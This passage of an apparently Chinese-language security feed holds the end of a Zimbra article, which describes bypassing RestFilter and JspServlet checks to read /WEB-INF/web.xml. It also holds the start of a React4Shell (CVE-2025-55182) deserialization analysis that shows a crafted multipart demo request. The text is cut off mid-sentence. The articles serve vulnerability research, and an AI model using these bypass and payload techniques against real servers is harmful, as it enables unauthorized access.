&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回顾 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestFilter</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JspServlet</span></code><span leaf=""> 的处理逻辑可知，如果将两者结合起来就可以绕过上述检查机制，从而实现对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF</span></code><span leaf=""> 等限制目录的访问：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009023" data-ratio="0.4064814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=96f0e1f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7fiavkwicEWgESNOLwlMTFJ3u0hCEG1aCkicst5ZUbvPGlK96xXIEibhbiaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009027" data-ratio="0.49722222222222223" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=28dd0229&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7RRzDq5Tf32zXVZO3bU4c4Tc4orFSewBgTU7pzMFjZPRanibYh4AEtcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">前面已经提到，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Zimbra</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ZimbraAdmin</span></code><span leaf=""> 都配置了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestFilter</span></code><span leaf=""> ，因此这两个接口均可以实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebRoot</span></code><span leaf=""> 目录下的文件包含。读取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/web.xml</span></code><span leaf=""> 过程如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009028" data-ratio="0.4527777777777778" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a04e8472&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7b4fSoXZGqL0VUAZOB06iamzgXsDoUVmTylQuwH4wg3DMz1dduP9zh8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp"><mp-common-profile class="custom_select_card mp_profile_iframe mp_common_widget" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=40487d43&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492684%26idx%3D1%26sn%3Dbebf9986b8676ec80749f180d3711595">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 03 Jan 2026 10:04:00 +0800</pubDate>
    </item>
    <item>
      <title>人工调试剖析 React4Shell 反序列化漏洞（二）- 原理、利用及 Bypass WAF 等</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492655&amp;idx=1&amp;sn=fa4695b1e5fa8bc4d5667f70dcde3f1f</link>
      <description>调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞分析，包含原理、利用及 Bypass WAF 等。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2025-12-11 07:01</span> <span style="display: inline-block;">北京</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d68ee25d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFeticP5cxExYIdtSNia15iaLwTlpZVBy6VttGycAHiaZIemNb919WxJvT3A%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞分析，包含原理、利用及 Bypass WAF 等。</p>
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">接上文： <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492538&amp;idx=1&amp;sn=fc886058323f7d23414ab5e734f8f8ee&amp;scene=21#wechat_redirect" textvalue="人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞（一）" data-itemshowtype="0" linktype="text" data-linktype="2">人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞（一）</a> 。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">原型链污染Sink点</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">前面分析已经讲到，同时满足 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isMultipartAction</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isFetchAction</span></code><span leaf=""> 条件的请求，将传入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">decodeReplyFromBusboy</span></code><span leaf=""> 函数完成反序列化处理。针对请求中的每一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">field</span></code><span leaf=""> 对象，分别调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">resolveField</span></code><span leaf=""> 进行解析。为了方便调试，构造如下 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">demo</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;a&#34;:{&#34;b&#34;:&#34;foo&#34;}}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">[&#34;$1:a:b&#34;]</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp--</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">当解析 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">name</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">field</span></code><span leaf="">时，参数是一个正常的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Json</span></code><span leaf="">字符串，经过反序列化处理后将生成</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Object</span></code><span leaf="">对象。重点跟踪</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">name</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0</span></code><span leaf="">的解析过程，经过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">reviveModel</span></code><span leaf="">迭代后，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></code><span leaf="">将从</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Array</span></code><span leaf="">对象变成</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, 